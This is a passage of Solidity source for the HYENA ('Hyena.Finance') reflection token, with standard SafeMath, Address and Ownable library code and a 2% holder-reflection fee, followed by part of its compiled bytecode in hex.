"SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract HYENA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Hyena.Finance'; string private _symbol = 'HYENA'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b806323b872dd116100ff57806323b872dd1461028d5780632d83811914610311578063313ce5671461035357806339509351146103745780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806313114a9d1461025157806318160ddd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610935565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d7565b60405180821515815260200191505060405180910390f35b6102596109f5565b6040518082815260200191505060405180910390f35b6102776109ff565b6040518082815260200191505060405180910390f35b6102f9600480360360608110156102a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a10565b60405180821515815260200191505060405180910390f35b61033d6004803603602081101561032757600080fd5b8101908080359060200190929190505050610ae9565b6040518082815260200191505060405180910390f35b61035b610b6d565b604051808260ff16815260200191505060405180910390f35b6103c06004803603604081101561038a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b84565b60405180821515815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c37565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cf3565b6040518082815260200191505060405180910390f35b610486610dde565b005b610490610f64565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610f8d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061102f565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110fc565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111a565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611170565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f7565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611511565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061171c565b005b60006107af611aa6565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806132dd602c913960400191505060405180910390fd5b600061085f83611aae565b5050505090506108b781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090f81600654611b0690919063ffffffff16565b60068190555061092a83600754611b5090919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cd5780601f106109a2576101008083540402835291602001916109cd565b820191906000526020600020905b8154815290600101906020018083116109b057829003601f168201915b5050505050905090565b60006109eb6109e4611aa6565b8484611bd8565b6001905092915050565b6000600754905090565b6000683635c9adc5dea00000905090565b6000610a1d848484611dcf565b610ade84610a29611aa6565b610ad98560405180606001604052806028815260200161324360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a8f611aa6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122289092919063ffffffff16565b611bd8565b600190509392505050565b6000600654821115610b46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806131b0602a913960400191505060405180910390fd5b6000610b506122e8565b9050610b65818461231390919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c2d610b91611aa6565b84610c288560036000610ba2611aa6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b611bd8565b6001905092915050565b6000683635c9adc5dea00000831115610cb8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610cd7576000610cc884611aae565b50505050905080915050610ced565b6000610ce284611aae565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d8e57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dd9565b610dd6600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae9565b90505b919050565b610de6611aa6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110255780601f10610ffa57610100808354040283529160200191611025565b820191906000526020600020905b81548152906001019060200180831161100857829003601f168201915b5050505050905090565b60006110f261103c611aa6565b846110ed856040518060600160405280602581526020016133096025913960036000611066611aa6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122289092919063ffffffff16565b611bd8565b6001905092915050565b6000611110611109611aa6565b8484611dcf565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111ff611aa6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561137f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156114535761140f600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae9565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611519611aa6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561165f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131da6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611724611aa6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611aa2578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118d757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a955760056001600580549050038154811061193357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061196b57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a5b57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611aa2565b80806001019150506118a6565b5050565b600033905090565b6000806000806000806000611ac28861235d565b915091506000611ad06122e8565b90506000806000611ae28c86866123af565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611b4883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612228565b905092915050565b600080828401905083811015611bce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806132b96024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ce4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806132006022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806132946025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611edb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60008111611f34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061326b6029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611fd75750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fec57611fe783838361240d565b612223565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561208f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120a45761209f838383612660565b612222565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121485750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561215d576121588383836128b3565b612221565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121ff5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122145761220f838383612a71565b612220565b61221f8383836128b3565b5b5b5b5b505050565b60008383111582906122d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561229a57808201518184015260208101905061227f565b50505050905090810190601f1680156122c75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006122f5612d59565b9150915061230c818361231390919063ffffffff16565b9250505090565b600061235583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613006565b905092915050565b6000806000612389600261237b60648761231390919063ffffffff16565b6130cc90919063ffffffff16565b905060006123a08286611b0690919063ffffffff16565b90508082935093505050915091565b6000806000806123c885886130cc90919063ffffffff16565b905060006123df86886130cc90919063ffffffff16565b905060006123f68284611b0690919063ffffffff16565b905082818395509550955050505093509350939050565b600080600080600061241e86611aae565b9450945094509450945061247a86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250f85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a484600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f18382613152565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061267186611aae565b945094509450945094506126cd85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff